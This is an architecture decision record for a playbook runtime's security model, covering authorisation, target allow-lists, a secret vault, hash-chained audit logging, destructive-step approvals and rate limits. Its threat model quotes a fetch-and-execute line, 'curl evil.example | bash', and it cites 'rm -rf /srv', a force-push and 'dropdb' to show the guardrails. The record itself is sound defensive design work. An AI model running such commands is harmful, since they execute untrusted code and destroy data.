Decisions

ADR-069: Playbook security model

We gate the playbook runtime (ADR-068) with a **six-part security model**: (1) **per-playbook authorisation** via `allowed_personas:` + `allowed_users:` front-matter, defaulting to `persona:owner` only, bound to a run…

#069

ADR-069: Playbook security model

Status: Accepted Date: 2026-04-23 Related: ADR-068 (playbook runtime architecture), ADR-067 (playbooks unified primitive), ADR-064 (gyrum-catalog + hex architecture / SSH Executor port), ADR-053 (frontend observability), ADR-050 (bearer auth for product metrics), ADR-039 (audit hash chain), ADR-038 (audit sink), ADR-036 (CSRF double-submit cookie), ADR-026 (security defense-in-depth)

Decision (one paragraph)

We gate the playbook runtime (ADR-068) with a six-part security model: (1) per-playbook authorisation via allowed_personas: + allowed_users: front-matter, defaulting to persona:owner only, bound to a run record at invoke time; (2) a target-execution allow-list where target: local requires both allow_local_execution: true in the playbook and the operator role on the invoker, target: host:X requires gyrum-catalog ACL access, and target: container:X needs only an authenticated user; (3) a secret vault with envelope encryption (file-based KMS for Phase 5, AWS KMS / Vault / age as named upgrade paths), prompt_secret values never logged, never streamed back after submission, and best-effort stdout redaction by reverse-lookup; (4) an append-only playbook_audit table recording invoker / playbook id+version / input hashes / target / outcome / duration, indefinite retention by default, never-mutable even on run deletion, queryable via GET /api/v1/playbook-audit; (5) idempotency and destructive-step guardrailsdestructive: true steps get an implicit un-skippable approval step prepended, idempotent: is a tri-state (false default, true, with_key:), and dry-run mode is available for all playbooks and required-before-first-real-run for destructive ones; (6) cross-cutting blast-radius limits — per-user concurrency cap of 3, per-playbook hourly invocation cap, and a prominently-logged "break glass" owner override. Security decisions are enforced at parse time (YAML validation) and at claim time (before a worker ever reaches an executor); the StepExecutor contract (ADR-068 §3) is unchanged.

Context

ADR-068 built a playbook runtime whose step set includes shell, ssh, claude, http, and subplaybook. Every step declares target: local | host:X | container:Y at parse time, and the runtime writes run state, step state, and event streams into Postgres. ADR-068 §7 and §15 repeatedly fence the security story: "production playbooks with a shell step do not ship before ADR-069 lands". This is that landing.

The shell-execution surface is the threat. A playbook can:

  • Run arbitrary bash on the ai-research host (type: shell, target: local).
  • Run arbitrary bash on any host in the gyrum-catalog SSH inventory (type: ssh, target: host:X).
  • Call any HTTP endpoint with bearer tokens and the run's resolved secrets (type: http).
  • Call the Anthropic API with templated content sourced from earlier steps' stdout (type: claude — ADR-068 §12 already names the prompt-injection risk but defers the allow-list to here).
  • Invoke another playbook by id (type: subplaybook), nesting up to 5 deep. A shallow playbook can chain into a deep destructive one.

Without a security boundary, any user with an ai-research session could POST /api/v1/playbook-runs at a playbook id that runs rm -rf /srv on a production host. The session cookie (ADR-036) proves they are authenticated; it does not prove they are authorised. Today those are the same thing. They must not remain so.

Four pressures converge:

  1. Ship velocity. ADR-068's Phase 5 blocks Phase 6 (migrate runbooks/experiments to carry runtime:). If this ADR is slow, operational flows stay on shell-scripts-on-laptops.
  2. Scale of blast radius. A single-service playbook that worked last week is this week invokable by another user against ten services. Horizontal reach grows with catalogue size.
  3. Secrets proliferation. prompt_secret assumed a vault (ADR-068 §4), but none exists. Every day without it is a day secret values live in undocumented process memory.
  4. Audit pressure. ADR-039 mandates a hash-chained audit for security-relevant actions; the runtime does not write to it today.

The threat model is not nation-state. We are protecting against:

  • Malicious playbook YAML — a teammate (or compromised account) adds a playbook whose run: field contains curl evil.example | bash.
  • Compromised user account — session-hijacked attacker POSTs a run against a production target at an unusual time.
  • Curious engineer — a dev-role developer clicks "run" on a playbook they shouldn't, triggering a side effect they didn't anticipate.
  • Replay / retry storms — a webhook-triggered playbook invoked by a misconfigured upstream service, 500 times in a minute.
  • Ambient prompt injection — step N's stdout feeds step N+1's type: claude prompt, and the stdout contains instructions.

We are not protecting against: a state-level attacker with filesystem access to the host (envelope encryption is not HSM-backed); a malicious maintainer with commit + DB + runtime access (restore-from-backup territory); browser-side XSS (ADR-026 / ADR-036 territory; this ADR trusts the session cookie once validated).

ADR-068 settled architecture. This ADR settles authorisation, secret handling, audit, and blast-radius limits. Like ADR-068, this is an enforcement contract ADR: YAML fields, Go interfaces, SQL tables, HTTP endpoints. Follow-on ADRs (071, 072) sharpen where this ADR lands.

Decision

1. Summary of gating choices (committed, not re-litigated)

Six decisions are settled below. The table is the quick index.

# Choice Rejected alternatives Gated by
1 Per-playbook authz via allowed_personas: + allowed_users: Kubernetes RBAC, OPA/Casbin, no authz §2
2 Target-execution allow-list tied to target: + catalog ACL per-user OS accounts, single global toggle §3
3 Envelope-encrypted secret vault with pluggable KMS plaintext-in-pg, browser-side secrets, env-var-only §4
4 Append-only playbook_audit table with indefinite retention runs-table-only, external SIEM-first §5
5 Implicit approval-before-destructive + tri-state idempotency + dry-run trust-the-author, manual approvals only §6
6 Per-user concurrency + per-playbook rate cap + break-glass override unbounded concurrency, rate-limit-in-front-proxy §7

All six enforcements live in one package (ai-research/runtime/security/) so the audit surface is a single directory, not scattered across executors.

2. Authorisation model — who can invoke which playbook

2.1 Front-matter fields

The ADR-067 playbook schema grows three optional fields. Defaults are restrictive — missing fields mean "only the owner persona".

---
kind: release_flow
id: gyrum-complete-pr
title: "Release: merge + deploy a PR through the gate stack"
persona: sre
owner: "@jon"
# ADR-069 additions (all optional; defaults below)
allowed_personas: [sre, owner]        # default: [owner]
allowed_users: ["@jon", "@priya"]     # default: []  (owner always allowed)
denied_users: []                      # default: []  (explicit deny-list, evaluated first)
---

Resolution order (fail-closed at every step):

  1. If invoker is in denied_usersreject.
  2. If invoker is the owner: (ADR-067 single handle) → allow.
  3. If invoker is in allowed_usersallow.
  4. If invoker's persona (from session) is in allowed_personasallow.
  5. Otherwise → reject.

The persona:owner role reuses ADR-065's persona vocabulary exactly. Personas are resolved from the user's profile row at invoke time, not cached from session creation — a persona demotion takes effect on the next run, not the next login.

2.2 Per-step authz override

A destructive step inside an otherwise-approved playbook can further narrow the set of users allowed to trigger that step. This is the "release flow is fine for SREs, but the force-merge-main step requires @jon specifically" case.

steps:
  - id: force-merge-main
    type: shell
    target: local
    run: "git push --force origin main"
    destructive: true
    allowed_users: ["@jon"]            # tighter than playbook-level
    # allowed_personas may NOT be loosened here — only narrowed

Rules:

  • A step's allowed_users and allowed_personas may only be a subset of the playbook's. Adding a user not allowed at the playbook level fails parse-time validation. This prevents the "Trojan step" attack where a narrow playbook has a wide step.
  • At run time, when the state machine reaches a step with narrower authz, it checks the invoker (not the current worker). The step is allowed only if the original invoker also passes the step's filter. If not, the step is blocked and the run transitions to failed with error: step_authz_blocked.
  • Per-step denied_users works the same as playbook-level.

2.3 Identity binding

The invoker identity is captured once, at POST /api/v1/playbook-runs, and bound to the run record. It is not re-derived later.

// pseudocode — ai-research/runtime/security/authz.go

// Authorise validates the session's right to invoke this playbook.
// Called from the POST /playbook-runs handler, BEFORE any row is
// inserted or queue job enqueued.
func Authorise(ctx context.Context, sess *Session, pb *Playbook) error {
    inv := Invoker{
        Handle:  sess.GitHubHandle,      // "@alice"
        Persona: sess.Persona,           // ADR-065 role
        Roles:   sess.Roles,             // [operator, developer, ...]
    }

    // Deny-list first (fail-closed).
    if slices.Contains(pb.Security.DeniedUsers, inv.Handle) {
        return ErrAuthzDenied{reason: "explicit deny"}
    }
    // Owner bypass.
    if pb.Owner == inv.Handle {
        return nil
    }
    // User allow-list.
    if slices.Contains(pb.Security.AllowedUsers, inv.Handle) {
        return nil
    }
    // Persona allow-list.
    if pb.Security.AllowedPersonas == nil {
        pb.Security.AllowedPersonas = []string{"owner"} // default
    }
    if slices.Contains(pb.Security.AllowedPersonas, inv.Persona) {
        return nil
    }
    return ErrAuthzDenied{reason: "no matching allow-list entry"}
}

The returned Invoker is written into playbook_runs.actor (already present in ADR-068 §5 schema — we add actor_persona and actor_roles columns alongside). actor is immutable for the life of the run; cancellation and restart-recovery do not re-check authz.

2.4 Wire-level

No new endpoint. Authorisation is a middleware layer between ADR-036 session auth and ADR-068's POST /api/v1/playbook-runs:

request → CSRF double-submit (ADR-036)
        → session cookie → Session
        → Authorise(session, playbook)  ← THIS ADR
        → validate inputs against playbook schema
        → insert playbook_runs row, enqueue river job

A failed Authorise() returns 403 Forbidden with a {"error": "authz_denied", "reason": "..."} body. The reason is enum-safe (no details that could leak the allow-list shape) — one of explicit_deny, no_matching_allow_list, persona_not_allowed, denied_users_hit, step_authz_blocked. Front-end renders a user-friendly message from the enum; the raw reason is logged.

Authz denials are always written to the audit log (§5), even though no run row is created. The audit row carries run_id: null and outcome: authz_denied.

3. Target-execution allow-list

ADR-068 §7 established target: as parse-time-mandatory. This ADR turns target: into the lever for "where can this thing actually run?"

3.1 target: local

The most privileged execution context. Runs bash on the ai-research host process itself. This is the context with access to the ai-research Postgres credentials, the gyrum-catalog credentials, and the environment variables of the runtime process.

Requirements for a target: local step to execute (all must hold):

  1. The playbook's front-matter declares allow_local_execution: true.
  2. The invoker has the operator role (distinct from persona: sreoperator is an explicit grant, persona:sre is a classification).
  3. The step is reached via normal state-machine flow — local execution cannot be introduced by a subplaybook chain where the parent playbook does not itself declare allow_local_execution: true. (Sub-playbooks inherit the intersection of local-execution flags; one false anywhere in the chain means no local step downstream.)

Absent any of these, the step fails at parse time (flag 1), at POST /playbook-runs (flag 2), or at step-entry (flag 3). The failure is loud — validation errors name which rule failed.

---
kind: release_flow
id: gyrum-complete-pr
allow_local_execution: true            # required for any target: local step
allowed_personas: [owner]              # ADR-069 §2
---
runtime:
  steps:
    - id: preflight-diff
      type: shell
      target: local
      run: "git diff --stat main...HEAD"

3.2 target: host:X

Runs via the gyrum-catalog SSH Executor port (ADR-064). The host alias X must resolve against the catalog AND the invoker must have access to that host per the catalog's existing ACL.

Resolution at POST /playbook-runs:

// pseudocode — ai-research/runtime/security/target.go

func AuthoriseTargets(ctx context.Context, inv Invoker, pb *Playbook) error {
    for _, step := range pb.Runtime.Steps {
        t, err := ParseTarget(step.Target) // "host:ops-vps" → Target{Kind:Host, Alias:"ops-vps"}
        if err != nil {
            return err
        }
        switch t.Kind {
        case TargetLocal:
            if !pb.Security.AllowLocalExecution {
                return ErrTargetBlocked{step: step.ID, reason: "local_not_enabled"}
            }
            if !inv.HasRole("operator") {
                return ErrTargetBlocked{step: step.ID, reason: "operator_role_required"}
            }
        case TargetHost:
            ok, err := catalog.UserCanAccess(ctx, inv.Handle, t.Alias)
            if err != nil {
                return err
            }
            if !ok {
                return ErrTargetBlocked{step: step.ID, reason: "host_acl_denied"}
            }
        case TargetContainer:
            // Authenticated user suffices; sandbox is the protection.
            // Still recorded in audit (§5).
        }
    }
    return nil
}

The catalog's UserCanAccess is the existing ACL surface — ADR-064 § "Storage adapters" already covers per-host access. We do not re-implement it; we delegate.

If catalog.UserCanAccess is unavailable (catalog service down), host-target runs are blocked, not allowed (fail-closed). The runtime returns 503 Service Unavailable with an explicit message so an operator knows why a run they expected to work is refused.

3.3 target: container:X

The most permissive path (by design — the sandbox is what protects you). Requirements:

  1. The invoker is authenticated (session cookie valid).
  2. The image reference X is in a runtime-level allow-list of approved base images. Initial set: three images (busybox:1.36, alpine:3.19, ubuntu:22.04-minimal). Adding an image is an operator action recorded in audit.
  3. The container runs with no network access by default; a step that needs network declares network: true and that declaration surfaces in the audit row. A noisy playbook — one that claims container:X + network: true for every step — is a review smell.

Containers are run disposable (one container per step, destroyed on completion), with a hard CPU/memory cap (500m / 512Mi default, tunable per step up to 2 / 2Gi; beyond that requires operator role). No host mounts. No privileged flag. This is docker run --rm --network none --cpus 0.5 --memory 512m --read-only territory.

The container sandbox is Phase 4 in ADR-068's plan. This ADR defines the contract so the Phase 4 executor can ship against it directly.

3.4 Target summary table

Target Gating Audit marker Phase
local allow_local_execution: true + role:operator local:ai-research-host 1-3 (allow-list) / 5 (this ADR)
host:X catalog ACL allows invoker host:X + catalog-entry-hash 4
container:X image in allow-list + authenticated user container:X + image-digest 4
(missing) rejected at parse time N/A always

4. Secret handling

prompt_secret (ADR-068 §4) is the primary secret-input surface. This ADR defines where those values live, how they are encrypted, how they are referenced, and how they are not exposed.

4.1 Never-plaintext rules

At every layer:

  • Runtime memory. A secret value is held as type Secret []byte which redacts itself under %v / %s / JSON marshalling (returns "****"). The only way to read the bytes is secret.Reveal(), which is audited (call-site logged with a stack frame) and used by exactly two callers: the KMS encrypter at write time, and the executor at use time.
  • Postgres. The playbook_secrets table stores ciphertext only, encrypted under envelope encryption (§4.3). The row's primary key is a vault id (vlt_01J...) that replaces the plaintext in all subsequent references.
  • Event stream. awaiting_input events for prompt_secret carry is_secret: true and no default. The reply on POST /input is never echoed in an event. The step_completed event for a prompt_secret step contains outputs: {secret_id: "vlt_..."} — the vault id, not the value.
  • Run record. playbook_run_steps.inputs stores vault ids for any input that resolved from a secret. playbook_run_steps.outputs ditto. The raw value is never written to any run-scoped row.
  • Frontend. Once submitted, a prompt_secret value is write-only; the run detail page shows •••• for the secret field, permanently. There is no "show secret" affordance. Re-viewing requires a new prompt_secret step (or the /api/v1/secrets/{vlt_id}/reveal endpoint, which requires role:secret-reader and writes an audit row per reveal).

4.2 Vault shape

CREATE TABLE playbook_secrets (
  id              text PRIMARY KEY,          -- "vlt_01J..." (ULID-like, 26 chars)
  ciphertext      bytea NOT NULL,            -- envelope-encrypted value
  edk             bytea NOT NULL,            -- encrypted data key (envelope wrapper)
  kms_key_id      text NOT NULL,             -- which KMS key/version encrypted the edk
  created_by      text NOT NULL,             -- github handle
  created_at      timestamptz NOT NULL DEFAULT now(),
  expires_at      timestamptz,               -- nullable; prompt_secret defaults to +30 days
  canonical_hash  bytea NOT NULL,            -- sha256(canonicalise(plaintext)); used for §4.5 scrubbing
  last_read_at   timestamptz,
  read_count     int NOT NULL DEFAULT 0
);
CREATE INDEX ON playbook_secrets (expires_at) WHERE expires_at IS NOT NULL;
CREATE INDEX ON playbook_secrets (canonical_hash);

canonical_hash is the key to §4.5 best-effort stdout scrubbing. We hash a canonicalised form (lowercased, whitespace-trimmed) of the plaintext; a stdout line containing the same canonical form is auto-redacted. The hash is one-way; it cannot reverse the secret but it can detect "is this string the same secret?".

4.3 Envelope encryption + KMS

What we ship in Phase 5 (when this ADR first lands in code):

  • File-based KMS adapter. 32-byte key at /var/lib/ai-research/kms/kek-<version>.key, 0600 root-owned, mounted via docker-volumes.txt. Each playbook_secrets row carries a random 32-byte DEK; DEK encrypts the value (AES-256-GCM), KEK encrypts the DEK (edk = AES-256-GCM(KEK, DEK)). KEK never leaves the runtime process; DEKs are ephemeral.
  • Rotation: add kek-<N+1>.key, schedule a sweep that rewrites each edk under the new KEK. Old KEKs move to retired/ for 90 days, then deleted. "Rotatable but not aggressive" — we are not defending against key exfiltration from the host filesystem.

Upgrade paths (named, not built — these are the options the next KMS ADR chooses from):

Provider Trade-off
AWS KMS Managed, audited, cloud-dependent; adds an AWS credential at the runtime. Right answer if ai-research moves to AWS.
HashiCorp Vault Self-hosted, mature, full secret lifecycle; is a new service to run and keep highly available. Right answer if we run multi-environment secrets at scale.
age (age-encrypted files) Simplest upgrade from file-KMS — Ed25519 keys, small audited codebase. Less automatic rotation than AWS KMS / Vault. Right answer if we stay single-region and want offline-decryptable backups.
Stay on file-KMS indefinitely Fine for Phase 5–6; becomes a liability if we ever onboard customer-owned secrets or multi-tenant workloads.

The KMSProvider interface is a port (ADR-064 hex style):

type KMSProvider interface {
    Encrypt(ctx context.Context, plaintext []byte) (edk, ciphertext []byte, keyID string, err error)
    Decrypt(ctx context.Context, edk, ciphertext []byte, keyID string) (plaintext []byte, err error)
    CurrentKeyID() string
}

File-KMS is the Phase 5 implementation; swapping to AWS KMS is a new adapter behind the same port.

4.4 Secret references in playbook YAML

A step that needs a secret references it by vault id via a templated secrets.* namespace:

- id: deploy-to-prod
  type: ssh
  target: host:prod-vps
  run: "curl -H 'Authorization: Bearer {{ secrets.prod_deploy_token }}' ..."
  secrets:
    prod_deploy_token: vlt_01J7A8X...     # vault id, resolved at step-entry

The secrets: block resolves at step-entry (not parse time — the runtime has to authenticate its Postgres call and decrypt under KMS). The resolved plaintext is injected only into the rendered run: string, never into inputs, outputs, or events. After the step completes, the Secret value is zeroed in memory and the goroutine's reference is released.

A secret can also come from a prior prompt_secret step's output:

- id: ask-key
  type: prompt_secret
  target: local
  question: "Paste the API key."
  save_as: api_key

- id: use-key
  type: http
  target: host:api.example.com
  headers:
    Authorization: "Bearer {{ secrets.api_key }}"

In this case save_as: api_key writes the vault id under outputs.api_key.secret_id, and {{ secrets.api_key }} resolves it via the same path.

Templating rules for secrets.*:

  • {{ secrets.X }} is only valid inside executor fields that go on the wire (shell run:, ssh run:, http headers: / body:).
  • It is never valid inside save_as:, id:, target:, when:, or any control-flow field. YAML validation rejects such uses.
  • It is never rendered into an event's payload. The SSE stream shows the templated literal {{ secrets.X }} in any debug echo, not the resolved value.

4.5 Best-effort stdout redaction

When a step completes, the runtime scans its captured stdout / stderr lines for any canonical_hash that matches a secret used (or ever used) within this run. Any line that matches is replaced with a redacted form before being written to playbook_run_events:

before: "Authorization: Bearer sk-ant-abc123xyz..."
after:  "Authorization: Bearer ****REDACTED:vlt_01J7A8X****"

The match is canonicalisation-based (lowercase + trim) — a line containing the exact secret, or a case-variant, or whitespace-padded variant, is caught. Tokens split across lines, base64'd, or embedded inside JSON escapes are not caught. We are honest about this: detection is best-effort, not a guarantee. A playbook whose shell step base64-encodes a secret to stdout is a bug in the playbook, not a failure of this ADR.

The redaction pass is a regex-free, hash-keyed scan. It runs before the event lands in playbook_run_events — there is no window where the unredacted stdout is in the database.

Metric: playbook_stdout_redactions_total{vault_id=...} increments on every redaction. A non-zero value for a secret that should never have leaked is a signal (a playbook is echoing a secret; investigate).

5. Audit log

5.1 Table

Append-only. Separate from playbook_runs so run deletion does not affect audit. Schema:

CREATE TABLE playbook_audit (
  id              bigserial PRIMARY KEY,
  ts              timestamptz NOT NULL DEFAULT now(),
  actor           text NOT NULL,                  -- github handle
  actor_persona   text,                           -- ADR-065 persona at time of action
  actor_roles     text[] NOT NULL DEFAULT '{}',
  action          text NOT NULL,                  -- run_invoked / input_submitted / cancelled / authz_denied / break_glass / ...
  playbook_kind   text,
  playbook_id     text,
  playbook_version text,                          -- content hash
  run_id          uuid,                           -- nullable (authz_denied has no run)
  target          text,                           -- local / host:X / container:X
  outcome         text NOT NULL,                  -- completed / failed / cancelled / authz_denied / ...
  duration_ms     int,
  input_hashes    jsonb NOT NULL DEFAULT '{}',    -- {input_name: sha256(canonical_value)}; NEVER values
  reason          text,                           -- authz reason, break-glass justification, etc.
  hash_prev       bytea,                          -- ADR-039 hash chain
  hash_self       bytea NOT NULL                  -- sha256(hash_prev || canonical_row)
);
CREATE INDEX ON playbook_audit (actor, ts DESC);
CREATE INDEX ON playbook_audit (playbook_id, ts DESC);
CREATE INDEX ON playbook_audit (action, ts DESC);
CREATE INDEX ON playbook_audit (run_id) WHERE run_id IS NOT NULL;

Principles:

  • Never-mutable. Rows are INSERT-only. The runtime has GRANT INSERT ON playbook_audit TO ai_research and no UPDATE or DELETE grant. A migration that needs to correct an audit row does so via a compensating append (a new row action: audit_correction referencing the id to amend). There is no silent rewrite.
  • Survives run deletion. playbook_runs rows can be pruned (nightly job for old cancelled runs); playbook_audit is retained indefinitely by default. run_id becomes a dangling reference when the run row is gone — that is fine, the audit row is the record of record.
  • Hash-chained per ADR-039. hash_self is sha256(hash_prev || canonical_row_encoding), where hash_prev is the previous row's hash_self. A gap or rewrite is detectable by a one-pass scan. Genesis row has hash_prev = NULL.
  • Input hashes, not values. We record that the run was invoked with an alert_id input, and a sha256 of its canonicalised value, and nothing else. This supports "was this input value ever used?" forensics without creating a new PII surface.

5.2 What gets audited

Every one of these produces exactly one row:

Action When Outcome values
run_invoked POST /playbook-runs succeeds authz completed / failed / cancelled / running (filled at run end)
authz_denied POST /playbook-runs fails §2 checks authz_denied
target_denied POST /playbook-runs fails §3 checks target_denied
input_submitted POST /input succeeds accepted / rejected (schema fail)
cancelled POST /cancel cancelled
step_authz_blocked state machine blocks a narrow step (§2.2) step_authz_blocked
break_glass owner bypass of §2 or §7 (§7.3) completed / failed (tracked separately)
secret_reveal GET /secrets/{vlt}/reveal granted / denied
dry_run §6.3 dry-run invocation simulated

Events-during-a-run (stdout lines, step completions) are not in playbook_audit — those belong in playbook_run_events (ADR-068 §5) with 30-day retention. playbook_audit is the compliance surface; playbook_run_events is the observability surface.

5.3 Retention

Indefinite by default. Per-deployment override via runtime config:

runtime.audit_retention_days: 0   # 0 = indefinite (default)
                                   # positive = delete rows older than N days
                                   # NEVER less than 90

A config value below 90 days is rejected at service start (log line + non-zero exit). "I want 7 days of audit" is a signal that the deployer has misunderstood the purpose of the table.

Pruning past the retention horizon is a daily batch that rewrites the hash chain — the row immediately after the prune boundary becomes the new genesis, its hash_prev becomes NULL, and a marker row (action: retention_prune_boundary) records the event. Chain continuity is preserved across the prune.

5.4 Query surface

GET /api/v1/playbook-audit?actor=@alice&from=2026-04-01&to=2026-04-30&playbook_id=...&action=...

Protected by a new role role:auditor. Defaults: 100 rows per page, reverse chronological, paginated via next_token. Response rows include the hash_self so an external system can verify chain integrity by pulling sequential pages.

The endpoint is documented in ADR-069 because the audit surface is part of the security contract — it is not "nice to have"; it is the verifiable claim that actions were taken.

6. Idempotency and destructive-step guardrails

6.1 destructive: true on a step

Any step that performs an irreversible action — drops a database, force-pushes to main, terminates a production instance, rotates a credential — sets destructive: true in the step spec.

The runtime implicitly inserts an approval step immediately before each destructive step. This insertion happens at parse time; the in-memory step list the worker sees is longer than the YAML. The approval cannot be skipped programmatically — there is no when: condition on an implicit approval, no on_error: continue, no default_to:.

# As authored:
steps:
  - id: drop-old-db
    type: shell
    target: host:db-vps
    run: "dropdb grafana_v3_old"
    destructive: true
# What the runtime executes:
steps:
  - id: __approval_for_drop-old-db          # synthetic, generated
    type: approval
    target: local
    question: |
      About to run DESTRUCTIVE step `drop-old-db`:
        type: shell
        target: host:db-vps
        run: "dropdb grafana_v3_old"
      Proceed? This cannot be undone.
    required_for: drop-old-db
  - id: drop-old-db
    type: shell
    ...

Properties:

  • The approval's question is templated at run time with the resolved target: and the rendered run: (secrets remain {{ secrets.X }} — plaintext is not revealed even to approvers).
  • Approval authz inherits the destructive step's allowed_users / allowed_personas. Four-eyes mode is self_approval: false (default true) — the approval then routes to a different user in the allow-list.
  • The approval is audited as action: input_submitted with a destructive_approval flag — the audit query surface reports "which destructive steps were approved, by whom, when".

6.2 idempotent: tri-state

Playbooks declare their idempotency contract in front-matter:

idempotent: false                        # default — no replay; a duplicate POST is a new run
idempotent: true                         # safe to replay; duplicate POST within window returns existing run_id
idempotent: with_key: <input_name>       # replay-safe only when <input_name> is the same
  • false is the safe default. "Running this twice does something twice." The ADR-068 §6 idempotency_key still works for retry-dedupe within 5 minutes, but the playbook author is asserting that beyond that window, duplicate invocations have real consequences.
  • true means the author asserts the playbook has no side effects that depend on invocation count. A read-only audit playbook is idempotent: true.
  • with_key: <input_name> is the most common "it's idempotent per subject" case — "deploy version X to host Y" is idempotent per (X, Y). The key is resolved at invoke time; a matching prior run (any state except failed) returns its run_id.

Destructive-only rule. A playbook that contains ANY step with destructive: true is required to declare either idempotent: false or idempotent: with_key: (not true). A destructive playbook that claims true fails parse-time validation; we do not believe the claim.

For with_key: destructive playbooks, the replay check is strict: if a run with the same key is currently in any non-terminal state (running, awaiting_input), the new POST fails with 409 Conflict, reason: prior_run_active. The operator must wait or cancel. This prevents concurrent destructive replays.

6.3 Dry-run mode

Every playbook can be invoked with ?dry_run=true:

POST /api/v1/playbook-runs?dry_run=true

The runtime walks the playbook, resolves the step graph, checks authz, checks target allow-lists, resolves when: conditions against provided inputs, and emits the SSE events it would emit — with every executor replaced by a DryRunExecutor that returns a "would-have-run" placeholder. No side effects. No shell. No SSH. No HTTP. No claude call. No secret vault read.

The dry-run emits a final run_completed event with a decision_tree field:

{
  "decision_tree": [
    {"step_id": "preflight-diff", "would_run": true, "target": "local"},
    {"step_id": "__approval_for_drop-old-db", "would_run": true, "type": "approval"},
    {"step_id": "drop-old-db", "would_run": "conditional_on_approval", "target": "host:db-vps"}
  ]
}

Dry-run is available for every playbook. It is required before the first real run of any destructive playbook — the runtime refuses to execute a destructive playbook whose (playbook_id, playbook_version) pair has no prior successful dry-run in playbook_audit within the last 24 hours. After that, real runs are allowed; a fresh dry-run is required again on any playbook-version bump.

Metric: playbook_dry_run_total{playbook_id, result} — tracks whether dry-runs are being used or bypassed via break-glass.

7. Cross-cutting: rate limiting and blast radius

7.1 Per-user concurrency cap

Default: 3 concurrent runs per user. Enforced by playbook_runs count query at POST /playbook-runs:

SELECT count(*) FROM playbook_runs
WHERE actor = $1
  AND state IN ('pending', 'running', 'awaiting_input');

If ≥ 3, the POST returns 429 Too Many Requests with Retry-After: <seconds> based on the oldest run's expected remaining wall-clock. Awaiting-input runs count — a user who kicks off three prompt-heavy playbooks and walks away cannot add a fourth until one is answered or cancelled.

Per-user override via role:operator bumps the cap to 10. The owner can bypass via break-glass (§7.3).

Metric: playbook_user_concurrency_limit_hits_total{actor} — a frequently-hit limit for a single user is either operator-frustration or a runaway agent; either way, worth a look.

7.2 Per-playbook rate cap

Front-matter declares a rate cap. Defaults are unbounded for non-destructive, bounded for destructive:

rate_limit:
  window: 1h
  max_invocations: 5                   # required for destructive: playbooks
  scope: global                        # global | per_user | per_host

Scopes:

  • global — across all users, across all invocations.
  • per_user — each user gets their own quota.
  • per_host — for host-target playbooks, each distinct resolved target: host:X gets its own quota. "No more than 2 restart-grafana per host per hour" is per_host.

Rate checks happen at POST /playbook-runs, before authz (actually: authz first — we don't want the rate-limit signal to reveal which playbooks exist; authz_denied is always returned first). Violations return 429 with a Retry-After header pointing to the window edge.

Destructive playbooks without a rate_limit: block fail parse-time validation — the author must choose a number, even if it's deliberately high. "Five destroys per hour" is a safer floor than "unlimited".

7.3 Break-glass override

The owner (ADR-067 single-handle field) can bypass any authz rule, any target-allow-list rule, any concurrency cap, any rate cap, and skip the destructive dry-run requirement — via a break-glass annotation on the invocation:

POST /api/v1/playbook-runs
{
  "playbook": "release_flow:gyrum-complete-pr",
  "inputs": {...},
  "break_glass": {
    "reason": "Production outage, standard authz blocks @jon from...",
    "acknowledge_audit": true
  }
}

Requirements:

  • Invoker is the playbook's owner:. Not persona:owner. The exact handle.
  • reason is required, non-empty, minimum 20 characters.
  • acknowledge_audit: true is required (a client that cannot send this flag cannot trigger a break-glass; this is an explicit "I know this is extraordinary" check).

Break-glass invocations are:

  • Written to playbook_audit with action: break_glass, the reason field in the row, and a hash_self that locks the justification into the tamper-evident chain.
  • Announced via a prominent log line (slog.Warn("BREAK_GLASS invoked", "actor", ..., "playbook", ...)) and a dedicated metric (playbook_break_glass_total) that feeds a high-priority alert (any non-zero count in a 24h window → Slack).
  • Rate-limited themselves — max 5 break-glass invocations per owner per 24h. A sixth returns 429 with no override.

Break-glass is the escape valve that makes the rest of this ADR tolerable. Without it, every production incident becomes a decision between "violate policy" and "let the site burn". We prefer "document the exception and learn from it".

8. Threat model (brief)

Defended against (with the control that addresses each):

Threat Control
Malicious playbook YAML Parse-time validation (§2-§6); PR review; dry-run-before-first-run (§6.3)
Compromised user account Per-user concurrency + per-playbook rate cap (§7); break-glass log + alert (§7.3); authz_denied audit (§5)
Curious engineer Default-restrictive authz persona:owner only (§2.1); allow_local_execution: false default (§3.1)
Replay / retry storms idempotency_key 5-min window (ADR-068 §6); idempotent: tri-state + with_key: active-run detection (§6.2); per-user concurrency cap (§7.1)
Ambient prompt injection §4.5 canonical-hash stdout scrubbing; ADR-068 §12 <untrusted> delimiter; authz applies to type: claude same as any step

Not defended against: state-level attackers with host filesystem access; malicious maintainers with commit + DB + runtime access; insider abuse with valid credentials AND valid authz (audited, not prevented); side-channel leaks from correctly-redacted stdout (timing, cache, fs metadata).

9. Consequences

Harder.

  • KMS operational burden. A key file, a rotation policy, a backup story (the key is now part of the disaster-recovery plan — backups that include the DB without the key are unrecoverable). Fenced in the deployment runbook.
  • Audit retention. Indefinite retention means playbook_audit grows forever. Healthy usage (10 runs/day) writes ~50k rows/year; not a disk-space concern, a query-planning concern revisited at ~5M rows.
  • Rate-limit tuning. The defaults in §7 are guesses. We discover the right per-playbook rates by hitting them; *_limit_hits_total metrics are the feedback loop.
  • Approval-step fatigue. Every destructive step grows an implicit approval. Frequently-run destructive flows generate approval pressure; mitigation is to split or re-shape the playbook.
  • Break-glass temptation. If too easy, it becomes the path of least resistance. The 20-char reason + 5-per-24h cap are friction on purpose.
  • Four-eyes friction. In a two-person team, self_approval: false can deadlock. It is opt-in per playbook; default is true.
  • Stdout scrubbing is not a guarantee. Authors can still leak via creative encodings (base64, gzip, split-line). We detect via metric and review; we do not promise zero-leak.

Easier.

  • One auth story across every operational action. A Claude agent and a human both POST to /playbook-runs; the same Authorise() runs for both. The audit log does not care which.
  • Catalog-backed host ACL reuse. target: host:X delegates to ADR-064's ACL — one place to grant / revoke host access.
  • Secrets have a home. prompt_secret was an IOU in ADR-068; now it's a table, a KMS port, and a set of rules.
  • Audit is queryable. Security reviews that would have required grep-across-logs now have GET /api/v1/playbook-audit?actor=@... with hash-verified integrity.
  • Destructive safety is structural, not cultural. The implicit approval is in the YAML parser; it cannot be forgotten.
  • Break-glass is a feature, not a bypass. A sanctioned, audited override means the unsanctioned override (ssh-to-console, a hand-written SQL DELETE) becomes unnecessary.

What we sign up to maintain.

  • The KMSProvider interface. Adding an adapter is additive; breaking the interface churns every existing secret row. Budget once-per-year, planned.
  • The audit hash chain. Every action class that writes an audit row must be reviewed against ADR-039's hash discipline.
  • The allow-list of container images in §3.3. Stale images are a vuln surface; we re-review every 90 days.
